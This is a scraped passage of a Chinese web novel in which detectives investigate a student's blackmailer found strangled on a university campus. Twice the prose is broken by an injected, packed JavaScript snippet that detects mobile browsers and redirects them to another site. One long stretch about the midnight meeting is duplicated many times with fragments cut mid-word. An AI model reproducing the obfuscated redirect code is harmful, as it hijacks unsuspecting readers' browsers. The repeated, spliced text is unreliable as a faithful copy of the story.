她也想出去看看但是其实没有那么容易这个高度真爬起来也挺费劲儿的绝不是楚隽这么轻松。 楚隽在跳出去之后过了一会儿说:“这里有发现出来两个人。” 安暖也跟着出去了。 绕过教学楼的外墙到了天窗的另外一侧。 楚隽正用手电照着地面。 地下是一些杂草乱七八糟的石头 “过来看。”楚隽蹲在一块石头旁边。 众人过去一看。 石头上有几点深褐色的点。 一旁地上的草叶上也有。 “这是血迹。”楚隽道:“时间不会太久这是昨天晚上留下来的血迹。” 安暖顿时想到了张少华手腕上的伤口。 那伤口一直让他们没有头绪。 割腕的伤口很新鲜但假山附近没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582148|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血迹。 割腕的伤和麻绳勒死的伤是不一样一道又一道的血痕就算是再注意也难免有血迹滴滴答答的落下。 死者不是在假山附近割腕的那是在哪里? 又是发生了什么事情才让死者割腕? 这一定是一个非常严重的事情。 必须要弄清楚发生了什么事情才能知道有什么人参与了。 楚隽道:“叫曹红霞过来。” 曹红霞不但过来了还有她的几个室友都一起过来了。 “这是怎么回事?”楚隽站起身:“昨天晚上到底发生了什么事情?为什么这里会有 血迹?” 曹红霞的脸色本来就挺难看的,现在更难看的。 “说说吧。”楚隽道:“有什么说什么,不要想有什么隐瞒。” 安暖伸手按住曹红霞的肩膀。 “曹同学。”安暖说:“你有什么就明说吧,隐瞒的越多,对你越没有好处。” 曹红霞的身体僵硬了一会儿,喃喃道:“昨晚上,确实出了些事情。” 现在正是晚饭时间,来来**的学生不少,都好奇地看着这边。 老师有些着急,赶紧走过去,低声道:“楚队,要不然找个地方说。这里人来人往的,影响不好。” 这事情怕是一句两句也说不清楚,到时候再来个情绪激动又哭又喊什么的,影响就更不好了。 楚隽看了看时间。 这忙来忙去的,不知不觉七点了。 已经过了晚饭时间了。 虽然案子迫在眉睫,也不能不吃饭啊。他们要吃,学生也要吃,老师也要吃。 楚隽说:“江老师,今天耽误你们时间了。这样,就在食堂安排大家吃个饭,然后我要带曹同学回警局。” 曹红霞一听,面如死灰。 但是也没办法。 老师虽然心疼学生,却也不能阻止办案。 目前在这件事情里,曹红霞是最大的嫌疑人。她唯一没有嫌疑的地方是,一个女生,很难单独杀死一个成年男人。但这不代表她没有嫌疑,只能代表,有同伙,或者有其他手段。 第192章 校园鬼影,逼急了也不结婚 当下,老师带着大家去吃饭,就在食堂。 楚隽当然给了钱,甚至还把几位忙到现在没吃饭的老师的饭钱一起都给了。 “不用客气。”楚隽道:“也不用担心,曹同学的事情,我们会查清楚的。不过在这之前,还需要各位老师和同学们说清楚,不要传播。” 其实不用楚隽叮嘱,学校自己更不愿意传播。 不管曹红霞是不是凶手,庄致轩和这事情有没有关系,牵扯上了,都不是什么美谈。 从忙吃了晚饭之后,曹红霞便跟着楚隽走了。 小姑娘哭得眼睛都红了,叫人看着心疼。 离开学校之后,先不回警局,而是让曹红霞带路,去了张少华的家。 张少华住的果然离学校很近,开出去两条街就到了。 张少华家是个自建的二层楼,曹红霞果然熟悉得不能再熟悉,到了门口,条件反射伸手往包里摸。 这一看就是掏钥匙。 连钥匙都有,可见她对这地方有多熟悉。 但这一下却没摸到钥匙。 曹红霞尴尬道:“我忘了……昨天我已经把钥匙丢了。之前,我是有他家的钥匙的。” “不碍事。”楚隽不在意。 卢瑞泽上前敲了敲门,没有人回应。 门是从外面锁上的,家里确实没人。 卢瑞泽转头看了看楚隽,楚隽道:“开门。” 卢瑞泽应了一声,也不知道在锁上倒腾了一下什么,锁开了。 安暖很佩服。 刑警队果然是卧虎藏龙,平时也看不出来,卢瑞泽还有这本事呢。 卢瑞泽开了门之后,十分谦虚地推开了门。 曹红霞走在前面,打开了灯。 “就是这里。”曹红霞说:“这就是张少华的房子,我每周会来一次……张少华说,如果我不来,就去学校找我。” 安暖也进了房间,四下看着。 楚隽道:“找一下张少华的身份信息,联系方式。联系一下他的家人。” 按照曹红霞的说法,虽然她来过张少华家有好几次,但是她对张少华的身份不太了解。 “我只知道,他应该是做生意的。”曹红霞说:“但是我没见过他除了妻子孩子之外其他的家人。他没说过,我也没问过,我不想知道。我只想着,再等一年,我就毕业了,等拿到毕业证之后,我就离开京市。” 安暖看着这房间里的设备。 张少华的条件确实不差,但是昨天晚上 他的尸体上,却没有找到任何值钱的东西。 很有可能,在曹红霞和张少华吵崩之后,又来了一个人。 这个人,才是真正的凶手。 他乘虚而入,劫财**。 就目前所有的线索指向看,这个人很有可能是庄致轩。但安暖又觉得不至于。 庄致轩是大学老师,还是清大的老师,前途不可限量。就算现在不是很有钱,也不是穷困潦倒,不至于贪图张少华那么点。张少华半夜去私会女学生,也不可能带太多钱。 这无论如何都说不通。 楚隽道:“曹红霞,现在没有你的同学了,昨天晚上的事情,你仔细地说一遍吧。我希望你不要有什么隐瞒。” 曹红霞在沙发上坐下,两手规规矩矩地放在膝盖上,就像是回答老师问题的一个乖学生。 她说:“昨天晚上,张少华突然来找我,他说,要跟我结婚。” 众人都有些意外。 “现在就结?” “对,现在就结。”曹红霞一脸见了鬼的表情:“我当然不同意,我还在上学呢,而且我根本不喜欢他。他不是我男朋友,他一直威胁我,我恨死他了。” 楚隽板着脸打断:“曹同学,你遇到了这样的事情,应该第一时间报警,而不是步步退让,只会让对方更加猖狂,你自己,也会越陷越深。” 曹红霞垂下头。 “我当时不敢,我怕……” 安暖叹了口气。 有太多受到侵害的女性,因为害怕不敢将这事情说出来。 但是没办法,几十年了,社会现象只是好转,也没有完全解决这个问题。对曹红霞一个涉世未深的大学生,遇到这种事情,除了心疼,也责备不了太多。 曹红霞说:“我当时特别崩溃,我不可能和他结婚。一旦结婚了,我这辈子就真的彻底完了。所以无论他说什么,我都不同意。他威胁我,要把我们之间的事情说出去,我告诉他,随便他,于是他就以死相逼。” 张少华这个人,是个狠人。 不但对别人狠,对自己也狠。 他就在曹红霞偷偷爬出去和他见面的地方,割了腕。 曹红霞抱住自己:“我当时差点吓**,但是我知道这一次我绝对不能妥协,我说什么都没有答应。” 张少华习惯了拿捏曹红霞,但这一次软硬兼施也没有成功,十分郁闷。 楚隽道:“然后呢?” “然后他就走了,我松了一口气。”曹红霞说:“我心里有 点庆幸,以为他会就这么放弃了。可没想到半夜,他又来了,约我去假山。” 一点多,张少华又来了。 曹红霞晚上经历了太多事情,也睡不着,坐在寝室的床上发呆,因此外面有一点动静,她就听见了。 她立刻就出去了。 她不敢不出去。 张少华这个人,如果他喊你两声,你不搭理的话。他不会知难而退,只会喊的全寝室都听见。 那个时候整个学校都睡了,如果他扯上嗓子喊两声,那不是全寝室,是整栋楼都能听见。 曹红霞不是胆子大的人,甚至还有点胆小懦弱。只有在今天张少华要和她结婚,被逼急了的那会儿强硬了一下,其他时间,是有点怂的。 楚隽道:“你胆子小,半夜,他约你去那么偏僻的地方,你也敢去?就不怕他会对你不利吗?” “他能怎么对我不利呢?”曹红霞苦笑了一下:“他总不能杀了我。杀了我,他也要偿命。这个人还是很惜命的,胆子没有那么大。” 曹红霞在那个时候,已经是破罐子破摔了。 一个男人约一个女人半夜出去,往坏的方面想,除了**,还能做的事情,她不在乎。 不是因为真的不在乎,是因为经历过,所以没有那么恐惧。 点庆幸,以为他会就这么放弃了。可没想到半夜,他又来了,约我去假山。” 一点多,张少华又来了。 曹红霞晚上经历了太多事情,也睡不着,坐在寝室的床上发呆,因此外面有一点动静,她就听见了。 她立刻就出去了。 她不敢不出去。 张少华这个人,如果他喊你两声,你不搭理的话。他不会知难而退,只会喊的全寝室都听见。 那个时候整个学校都睡了,如果他扯上嗓子喊两声,那不是全寝室,是整栋楼都能听见。 曹红霞不是胆子大的人,甚至还有点胆小懦弱。只有在今天张少华要和她结婚,被逼急了的那会儿强硬了一下,其他时间,是有点怂的。 楚隽道:“你胆子小,半夜,他约你去那么偏僻的地方,你也敢去?就不怕他会对你不利吗?” “他能怎么对我不利呢?”曹红霞苦笑了一下:“他总不能杀了我。杀了我,他也要偿命。这个人还是很惜命的,胆子没有那么大。” 曹红霞在那个时候,已经是破罐子破摔了。 一个男人约一个女人半夜出去,往坏的方面想,除了**,还能做的事情,她不在乎。 不是因为真的不在乎,是因为经历过,所以没有那么恐惧。 点庆幸,以为他会就这么放弃了。可没想到半夜,他又来了,约我去假山。” 一点多,张少华又来了。 曹红霞晚上经历了太多事情,也睡不着,坐在寝室的床上发呆,因此外面有一点动静,她就听见了。 她立刻就出去了。 她不敢不出去。 张少华这个人,如果他喊你两声,你不搭理的话。他不会知难而退,只会喊的全寝室都听见。 那个时候整个学校都睡了,如果他扯上嗓子喊两声,那不是全寝室,是整栋楼都能听见。 曹红霞不是胆子大的人,甚至还有点胆小懦弱。只有在今天张少华要和她结婚,被逼急了的那会儿强硬了一下,其他时间,是有点怂的。 楚隽道:“你胆子小,半夜,他约你去那么偏僻的地方,你也敢去?就不怕他会对你不利吗?” “他能怎么对我不利呢?”曹红霞苦笑了一下:“他总不能杀了我。杀了我,他也要偿命。这个人还是很惜命的,胆子没有那么大。” 曹红霞在那个时候,已经是破罐子破摔了。 一个男人约一个女人半夜出去,往坏的方面想,除了**,还能做的事情,她不在乎。 不是因为真的不在乎,是因为经历过,所以没有那么恐惧。 点庆幸,以为他会就这么放弃了。可没想到半夜,他又来了,约我去假山。” 一点多,张少华又来了。 曹红霞晚上经历了太多事情,也睡不着,坐在寝室的床上发呆,因此外面有一点动静,她就听见了。 她立刻就出去了。 她不敢不出去。 张少华这个人,如果他喊你两声,你不搭理的话。他不会知难而退,只会喊的全寝室都听见。 那个时候整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582149|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个学校都睡了,如果他扯上嗓子喊两声,那不是全寝室,是整栋楼都能听见。 曹红霞不是胆子大的人,甚至还有点胆小懦弱。只有在今天张少华要和她结婚,被逼急了的那会儿强硬了一下,其他时间,是有点怂的。 楚隽道:“你胆子小,半夜,他约你去那么偏僻的地方,你也敢去?就不怕他会对你不利吗?” “他能怎么对我不利呢?”曹红霞苦笑了一下:“他总不能杀了我。杀了我,他也要偿命。这个人还是很惜命的,胆子没有那么大。” 曹红霞在那个时候,已经是破罐子破摔了。 一个男人约一个女人半夜出去,往坏的方面想,除了**,还能做的事情,她不在乎。 不是因为真的不在乎,是因为经历过,所以没有那么恐惧。 点庆幸,以为他会就这么放弃了。可没想到半夜,他又来了,约我去假山。” 一点多,张少华又来了。 曹红霞晚上经历了太多事情,也睡不着,坐在寝室的床上发呆,因此外面有一点动静,她就听见了。 她立刻就出去了。 她不敢不出去。 张少华这个人,如果他喊你两声,你不搭理的话。他不会知难而退,只会喊的全寝室都听见。 那个时候整个学校都睡了,如果他扯上嗓子喊两声,那不是全寝室,是整栋楼都能听见。 曹红霞不是胆子大的人,甚至还有点胆小懦弱。只有在今天张少华要和她结婚,被逼急了的那会儿强硬了一下,其他时间,是有点怂的。 楚隽道:“你胆子小,半夜,他约你去那么偏僻的地方,你也敢去?就不怕他会对你不利吗?” “他能怎么对我不利呢?”曹红霞苦笑了一下:“他总不能杀了我。杀了我,他也要偿命。这个人还是很惜命的,胆子没有那么大。” 曹红霞在那个时候,已经是破罐子破摔了。 一个男人约一个女人半夜出去,往坏的方面想,除了**,还能做的事情,她不在乎。 不是因为真的不在乎,是因为经历过,所以没有那么恐惧。 点庆幸,以为他会就这么放弃了。可没想到半夜,他又来了,约我去假山。” 一点多,张少华又来了。 曹红霞晚上经历了太多事情,也睡不着,坐在寝室的床上发呆,因此外面有一点动静,她就听见了。 她立刻就出去了。 她不敢不出去。 张少华这个人,如果他喊你两声,你不搭理的话。他不会知难而退,只会喊的全寝室都听见。 那个时候整个学校都睡了,如果他扯上嗓子喊两声,那不是全寝室,是整栋楼都能听见。 曹红霞不是胆子大的人,甚至还有点胆小懦弱。只有在今天张少华要和她结婚,被逼急了的那会儿强硬了一下,其他时间,是有点怂的。 楚隽道:“你胆子小,半夜,他约你去那么偏僻的地方,你也敢去?就不怕他会对你不利吗?” “他能怎么对我不利呢?”曹红霞苦笑了一下:“他总不能杀了我。杀了我,他也要偿命。这个人还是很惜命的,胆子没有那么大。” 曹红霞在那个时候,已经是破罐子破摔了。 一个男人约一个女人半夜出去,往坏的方面想,除了**,还能做的事情,她不在乎。 不是因为真的不在乎,是因为经历过,所以没有那么恐惧。 点庆幸,以为他会就这么放弃了。可没想到半夜,他又来了,约我去假山。” 一点多,张少华又来了。 曹红霞晚上经历了太多事情,也睡不着,坐在寝室的床上发呆,因此外面有一点动静,她就听见了。 她立刻就出去了。 她不敢不出去。 张少华这个人,如果他喊你两声,你不搭理的话。他不会知难而退,只会喊的全寝室都听见。 那个时候整个学校都睡了,如果他扯上嗓子喊两声,那不是全寝室,是整栋楼都能听见。 曹红霞不是胆子大的人,甚至还有点胆小懦弱。只有在今天张少华要和她结婚,被逼急了的那会儿强硬了一下,其他时间,是有点怂的。 楚隽道:“你胆子小,半夜,他约你去那么偏僻的地方,你也敢去?就不怕他会对你不利吗?” “他能怎么对我不利呢?”曹红霞苦笑了一下:“他总不能杀了我。杀了我,他也要偿命。这个人还是很惜命的,胆子没有那么大。” 曹红霞在那个时候,已经是破罐子破摔了。 一个男人约一个女人半夜出去,往坏的方面想,除了**,还能做的事情,她不在乎。 不是因为真的不在乎,是因为经历过,所以没有那么恐惧。 第193章 校园鬼影,前妻笑出声 很快就从抽屉里找出了张少华的各种资料,身份证件,存折,还有一本通讯录。 “找到了。”卢瑞泽说:“队长,这里有张少华的资料。” 张少华的房门是锁好的,房间里也没有被翻乱的样子,没有人来他的房间里翻过,东西本来是放在什么地方的,现在还是放在什么地方。 张少华和大部分人一样,所有的证件,关键的资料都放在一个柜子里。柜子上有锁,不过这锁很轻易就被打开了,藏不了一点。 柜子里还有一些现金。 楚隽看了一下存折上的数字,确定这张少华虽然不是大富大贵,但经济条件确实还不错。 里面还有好几张汇款单,是同一个金额,汇到同一个地方。 这大概是给孩子的抚养费。 楚隽道:“联系一下张少华的父母,还有他的前妻。” “是。” 安暖进了张少华的卧室。 如果曹红霞每周都来,这个房间里应该会留下她的各种痕迹。 衣服,拖鞋,洗漱用品。 就算一周住一天,也不可能没有一点私人物品。 而且,张少华这样的人,只有曹红霞一个女人吗?那也未必。 张少华家里装了电话,卢瑞泽立刻就联系了起来。他父母家没有电话,但是有前妻的联系方式。前妻一定能联系得上他父母。 安暖打开了衣橱,里面果然有几件女式的衣服。 从款式上看,会穿这衣服的人年纪不大。 “曹同学,你进来看一下。”安暖说:“这是你的衣服吗?” 曹红霞进了房间。 只看了一眼,她就点了点头。 “是。”曹红霞说:“这半年,他给我买了不少东西。但是我都没要。开始他会送,我不要,他如果硬送,我就会直接扔掉。后来,他见我坚决不要,就不送了。” 但也只是不送礼物,其他的事情一点都没有变化。 张少华并没有因为曹红霞不收礼物,而放过她。 安暖看了看衣柜里的衣服,问曹红霞:“你有没有问,为什么张少华突然想起来要跟你结婚呢?” 曹红霞摇了摇头。 “你不好奇?” “我不好奇。”曹红霞说:“不管为什么,我都不可能答应他。其实……我和他说话说得非常少,就算是我每周不得不过来,也几乎不和他说话。我……我只想熬过这一年,远远地离开。我不想和他有任何交集。” 半年的时间,虽然不算太长,但相对来说是稳定的时间。 曹红霞虽然万般不愿意,但形势比人强,委曲求全地忍了半年,不想在剩下的日子里横生枝节。 张少华不管是真的只想用曹红霞打发打发时间,还是真的想要和她结婚,现在都不是打破平静的好时候。 一个生意做得不错的人,脑子也不会太差。他不会不知道,现在曹红霞是不会跟他结婚的,无论如何,也要等到毕业。 就算他害怕毕业之后,曹红霞会离开他,第一次提出结婚,也应该是试探性的。 至少要试探几回,等确定曹红霞真的绝无可能答应之后,再进行更为激进的逼迫,比如说割腕。 第一回就割,割得有点早。 但是曹红霞说的就是这样,张少华是揣着刀去找她的。 没谈妥之后,立刻就要割腕。 这一点,安暖还是觉得有些庆幸的。 虽然割腕威胁挺怕人的,但是张少华割自己的,总好过于割曹红霞的。 自杀威胁人,总好过与杀人。 渣男和渣男之间也是有比较的,这个渣好过于那个渣。 曹红霞虽然坚决不从,但也还抱着一丝希望,能够和平解决。所以半夜还是去找了张少华。 两人爆发了一些冲突。 曹红霞胳膊上的伤,就是在冲突中留下的。 然后曹红霞就走了。 “我真的就走了。”曹红霞说:“我走的时候,张少华好好的,除了他手腕上自己割出来的伤口,一点事儿都没有。他的力气很大的,我一点办法都没有。而且,而且就算是我真恨他,我要是真想杀了他来解脱,我也不会选择在学校这个地方啊。” 这一点,大家都赞同。 曹红霞能在清大上学,不论性格如何,脑子绝对好使。 在学校杀人,简直是脑子坏了。 在张少华家搜索一通之后,天色已经很晚了。 他的妻子很快就联系上了,听说张少华死了,用难以抑制的喜悦的音调问:“真的吗?你们没骗我吧。” 看得出来,张少华的妻子对他有很大的怨念,这两人离婚一定不是好聚好散。 不过他都能做出威胁曹红霞的事情,人品可见恶劣,这是已经死了,要是没死,也要因为流氓罪被枪毙的,就不要在人品上对他有什么指望了。 卢瑞泽只好说:“我们是市刑警队的,没有骗你。” 张少华妻子说:“好,那就好。” 真是一点遮掩都没有。 大家都是见多识广的,卢瑞泽并没有对张少华妻子的态度作出什么评价,只是问她,是否能联系上张少华的父母。 “能。”张少华妻子说:“但是今天太晚了,今天联系不上。明天上午我联系他们,让他们过去……我这就去买车票,最早明天下午我带着孩子到。” 话都没有什么问题,就是有种喜滋滋的语气。 挂了电话,大家心情都很复杂。 一个人是不是该死,大概死后亲朋好友身边人的态度,也能说明一些问题吧。 曹红霞被带回了刑警队,今天虽然已经问了一些,但是明天还会再审一遍。 她和庄致轩的关系也是重点。 她确实是庄致轩所任课班级的一名学生,还是学习比较好的一名学生,虽然学校里的同学老师都认为他们之间是正常的老师和学生的关系,但既然有怀疑,就要沿着这条线挖得深一点。 有些问题,两边要一起问,一遍又一遍地问,翻过来倒过去的问。 很多人觉得自己哪怕是做了,如果没有证据,只要打死不承认就行了。 其实根本没有那么简单。 警察问话,有自己的技巧。审讯室一关,灯一开,气氛一营造,多问几遍,若是有破绽,就能让你无所遁形。 第194章 校园鬼影,没有那么激情 将人安顿好,安暖回三室套已经是晚上十一点了,这一天来回地跑也累了。 还有点饿。 她有些疲惫地进了房间,看了看表,打算随便冲一下,出去弄点吃的。 冰箱里没有饭,应该还有点菜,可以煮个面条。 也不知道楚隽要不要吃,安暖一边洗澡,一边想着,一会儿去问一下他。反正下面条这种事情,一碗也是煮,两碗也是煮。 她觉得自己一般洗澡还是挺快的,没有那么磨磨唧唧,可是等洗完澡换了睡衣出去,却看见楚隽已经在厨房里了。 围了个围裙站在灶台前,一手拿着锅盖,一手拿着筷子。 “这么晚了,你在干什么呀?”安暖走了过去。 楚隽正在下面条。 “洗好澡了?”楚隽回了一下头:“饿了没,我煮了点面条,一起吃点再睡。” 神奇了啊。 楚隽也不是天天晚上要吃宵夜的,晚饭他也吃了不少,安暖奇道:“你也饿啦,我也饿了,正想着去问你要不要吃点什么呢?” 楚隽笑了一下:“我知道你饿了。” 安暖奇道:“你怎么知道?” 楚隽放下锅盖,弯腰拿碗,一边拿一边说:“进门的时候,我看见你皱眉捂了一下肚子,还看了一眼厨房。我就猜你肯定饿了。” 安暖很佩服。 这细节真是拿捏的到位。 果然是刑警队长。 安暖一边拿筷子,一边下结论。 “楚队长,你观察的很仔细,但是这种仔细用在生活里,一定要注意着点。” 关心体贴是可以的,但事无巨细也挺可怕。 谁还能没点秘密啊。 “我明白。”楚隽从锅里捞出两个荷包蛋,一个面条上一个:“过日子嘛,该明白的时候明白,该糊涂的时候要糊涂。” 要不是因为楚隽的年纪在这里,安暖有时候真要怀疑他是和谁过了几十年日子的,要不然,拿来这么多中肯的经验之谈。 两人端了面条去餐桌,一人坐在一边,一边说话一边吃。 楚隽道:“这案子到现在,你有什么看法。你觉得庄致轩和曹红霞,他们是合伙杀人吗?” “我不是包庇庄致轩,我还是觉得不像。” “理由呢?” “都是聪明人,不应该干傻事。”安暖戳破了荷包蛋,将蛋黄用筷子夹成好几半:“即便我们假设,庄致轩和曹红霞有不一般的关系,他们俩合伙杀了张少华,但为什么会在这个地方呢?” “因为一时激动,忍不住?” “不应该啊。”安暖说:“我检查了曹红霞的身体,除了手臂上的擦伤,她身上没有其他的伤痕。就连胳膊上的擦伤也不严重,没有反复被摩擦的痕迹,更像是不小心摔倒那种……一次性的伤痕。如果昨天晚上,曹红霞和张少华产生了剧烈冲突,他对曹红霞动手了,伤痕应该不止这么一点。” 男人和女人的力量差异是巨大的。 曹红霞的描述中,也没有提到张少华会动手打她。控制她的手段,是威逼利诱。 所以张少华虽然不是个东西,但未必是个会对女人动手的人。这也是为什么他在威胁曹红霞的时候,选择的是割腕,而不是用刀架在对方的脖子上。 安暖说:“从这几点上判断,我认为张少华没有对曹红霞动手。她手臂上的伤,只是个意外。比如说话中过于激动,不小心推了一下。或者曹红霞自己慌乱摔倒……他们俩关系这么恶劣,如果这伤真的是被张少华打的,曹红霞没有道理为他掩饰。” 楚隽想了想:“所以你认为,他们之间的矛盾没有那么激烈。” “不是,不是说他们的矛盾没有那么激烈。而是说,昨天晚上,他们的矛盾没有那么激烈。” 楚隽考虑的是,激情杀人。 就是没预谋的,因为一时情绪上头忍不住动了手。 曹红霞再情绪上头也很难杀了张少华,但是庄致轩可以。也许是庄致轩路过,看见曹红霞被欺负,一时激动,就动了手。 但昨晚上的事情,其实没有那么激烈。 安暖道:“矛盾没有那么激烈,我们对庄致轩的了解,他是个冷静的人,也不容易情绪上头。再说,勒死张少华的凶器是粗麻绳。除非是有预谋的,要不然的话,我实在想不出有什么理由,庄致轩半夜不睡觉,拿着一根麻绳在学校里转悠。” 不管是要杀他,还是不要杀他,都没有道理。 楚隽喝了最后一口面汤,放下碗来。 “但是,庄致轩的项链,确实出现在现场。” “谁说不是呢。”安暖叹口气:“头疼,哎……” 而且他自己也说不清楚,他的项链为什么会出现在死者手里。 可惜安暖和庄致轩也没有更了解,他们对庄致轩性格的分析,还是来源于今天在学校里,对和他相识的同学和老师的问询调查。 “先睡吧。”楚隽说:“别想了,明天再说。” 案子是破不完的,已经很晚了,现在不睡,明天也没精神。 “好。” 安暖站起身。 楚隽起身,将碗筷收进厨房去,也不洗,等阿姨明天上门来洗。 安暖路过沙发,看见楚隽的外套就随手丢在沙发上。 外套口袋里,好像露出来一点什么东西。 她好奇过去一看。 正是她今天衬衫上的那根飘带。 这家伙,什么时候把她的衣带揣在口袋里的,她都没有发现。 这个行为,就像是古代男人藏闺中小姐的香囊手帕一样,叫人感觉有一点点暧昧。 楚隽从厨房出来的时候,就看见安暖盯着他的衣服口袋看。 这一看,楚隽就明白了。 安暖还以为楚隽会打个哈哈说,忘了你的衣带还在我这里,然后非常自然地掏出来还给她呢。 万万没想到,楚隽非常自然地拿起了自己的衣服。 “行了,早点睡吧。我也要睡了。” 楚隽坦然地进了自己的房间,好像刚才什么都没有发生过一样。 安暖不由得又回忆了一下今天白天的事情,她顿时觉得,楚隽这个人吧,白天和晚上,人前和人后,可能不太一样。 第195章 校园鬼影,家属唱一首好运来 楚隽没有解释他要这根衣带做什么,反正第二天安暖也没有见他拿出来。 这根衣带,暂时就消失在了楚隽的房间。 第二天两人准时上班。 庄致轩和曹红霞还要审,但审了大半天,也没有什么新的突破。 问了一遍又一遍,两个人的说法和之前一样,没有什么矛盾和破绽。 快吃中饭,安暖又看了一遍两人的口供,总觉得有些没有重点。 两人都很配合,问什么说什么。但说出来的话,都没有什么突破。翻来覆去,就是那些。 要么,这件事情真的和他们一点关系都没有,两人都是无辜的。 要么,两人早有计划,所以滴水不漏。 能上清大的人,都是很聪明的。高智商的罪犯是最可怕的,他们有些人对刑法知识的了解,比刑警不差多少。 安暖道:“楚队,我想和庄致轩聊聊。” 楚隽想了想:“可以,不过你们不能单独聊。” 既然常规询问问不出什么,让安暖去和他聊聊也好。 “这我当然知道。”安暖说:“其实也没有什么具体的想法,就是觉得,换一种身份和他聊一会儿,说不定能让他放松警惕。” “好。” 安暖索性去食堂打了两份饭菜,去找庄致轩。 楚隽也跟着进了门,但是并不过去,只坐在门边的桌子旁,专心吃饭。 “小庄哥。”安暖拽着椅子做到庄致轩身边:“我给你打了饭。” 庄致轩有点憔悴。 从被怀疑到现在,他肯定是没有怎么休息过的。虽然晚上让他睡觉,但在警局里,在这种心态下,怎么可能睡得着? 累很了,打个盹,睡是睡不熟的。 庄致轩揉了揉眼睛看清楚是安暖,神色缓和了一些。 安暖替他打开饭盒盖子:“也不知道你喜欢吃什么,给你挑了几样我喜欢吃的。” 千张结烧肉,肉沫鸡蛋羹,胡萝卜炒肉丝,家常豆腐。 十分丰盛。 “谢谢你。”庄致轩用手抹了一把脸,叹了口气。 “别客气,又不是外人。”安暖给他递筷子:“来,快吃吧。” 庄致轩没什么胃口,但昨天就没吃什么,早上也没吃下几口,这会儿也确实是饿了,犹豫了一下,猛地扒了几口饭。 安暖也先吃饭不说话,等吃得差不多了,这才开口。 “小庄哥。”安暖说:“真没想到,我们第一次有时间好好聊天,竟然是在这个地方。” 庄致轩苦笑了一下:“怪不好意思的,没想到这个时候,还要你照顾我。” “这算什么照顾,举手之劳。”安暖一边收拾桌上的饭盒,一边随口道:“小庄哥,你一个人来京市,这些日子肯定不容易吧。” “嗨,谁容易呢,我还算好的。”庄致轩说:“开始来的时候,确实是不适应……在老家的时候,觉得日子也挺好。没想到外面这么热闹,不瞒你说,真闹了很多笑话。” “是呀,跟咱们那儿真的不一样。”安暖顺着庄致轩的话往下说:“我一来也怪不适应的。” 安暖刻意不说案子,两个人就这么你一句我一句的说了起来。 庄致轩这样从外地考到京市来的寒门骄子有很多,大部分都是差不多的。清贫,自卑,内向,小心翼翼。大部分人需要很长一段时间适应融合。 庄致轩也是如此。 “当时钱不多,吃饭都不敢打肉。”庄致轩苦笑道:“那时候,一件衣服穿一年……” 安暖连连点头。 她虽然没有经历过这些,但是年代剧还是看过的,也可以想象。如果不是有翟家,她要是打算留在京市里,日子也不会比这好太多。 楚隽不言不语,尽量降低自己的存在感,安静地听着两人闲聊。 就这么聊了好一会儿。 卢瑞泽敲门进来。 “楚队,死者的家属到了。” 楚隽站起身:“好,我马上来。” 楚隽这一站起来,让庄致轩吓了一跳,才想起来这里有个人。 但这一破坏,聊天的氛围就没了。 后面就聊不下去了。 就算是还能聊,庄致轩也有了警惕心。 安暖便见好就收。 下午也聊得差不多了,再聊,意义也不大了。 “那我也先走了。”安暖说:“小庄哥,你再想想还有什么可能,要是有了新的想法,就立刻说。” “好。” 庄致轩目送安暖离开。 没有人知道他在想什么。 出了门,楚隽道:“张少华家的什么人来了?” “妻子,儿子,还有父母都来了。” 来的挺快的,他们虽然都不在京市,但离得不远。 主要是张少华的父母住在乡下,交通不便。 张少华妻子包了个车,先去接了前公公婆婆,再过来警局,耽误了一些时间。要不然的话,还能到得更早一些。 张少华的妻子叫梅曼彤,儿子张然。公公婆婆都在村里生活,头发花白。 本来家里有人过世,这是件很悲伤的事情。但走进来的时候,四个人三种状态。 张少华父母是非常伤心的,白发人送黑发人,从听见消息到现在已经昏了两次,这会儿的状态非常差,互相搀扶着,一边抹眼泪,一边往前走。 张少华的儿子还小,看着也就是八九岁,对于死亡有一定的理解,但是理解得不深刻。而且张少华和梅曼彤离婚之后,儿子就被梅曼彤带走了,和父亲的联系不多,感情也不深,他有些懵懂地被母亲牵着。没有什么表情。 如果说这两种状态都很正常的话,梅曼彤的状态,就很不正常了。 就像是她接到张少华的死亡通知忍不住笑出声来一样,此时此刻,她也是这样的状态。 神清气爽,眉飞色舞,勉强压着兴高采烈,就差拎一个收音机,大街小巷地放一首好日子了。 安暖也算是见过许多死者家属的人,但是梅曼彤这种状态,也算是开眼界了。 张少华也不知道人品是有多差,让前妻恨之入骨,就算是死了,都想要挫骨扬灰,挖坟鞭尸。 楚隽道:“卢瑞泽,先带人去认尸。” 第196章 校园鬼影,该死的父亲和丈夫 卢瑞泽将四个人都带去认尸。 尸体的脸部没有被破坏,一眼就能认出来,当下,停尸房里便充满了奇怪的声音。 张少华父母的凄厉哭声,还有,梅曼彤的笑声。 众人都觉得无奈。 张少华父母的态度是正常的,来认尸的受害者家属几乎都是这样的状态。虽然听着很心酸,但是大家也习惯了。 梅曼彤的态度,就叫大家不太习惯了。 梅曼彤站在张少华的尸体边,挺高兴的。 “你可算是死了。”梅曼彤说:“真是苍天有眼。善有善报,恶有恶报,不是不报,时辰未到啊……” 安暖低声道:“楚队,要不然,去劝一下梅曼彤吧。虽然言论自由,但她这么刺激,张少华父母会受不了吧。” 两个人年纪看着都挺大,身体也不好。可别出什么事情。 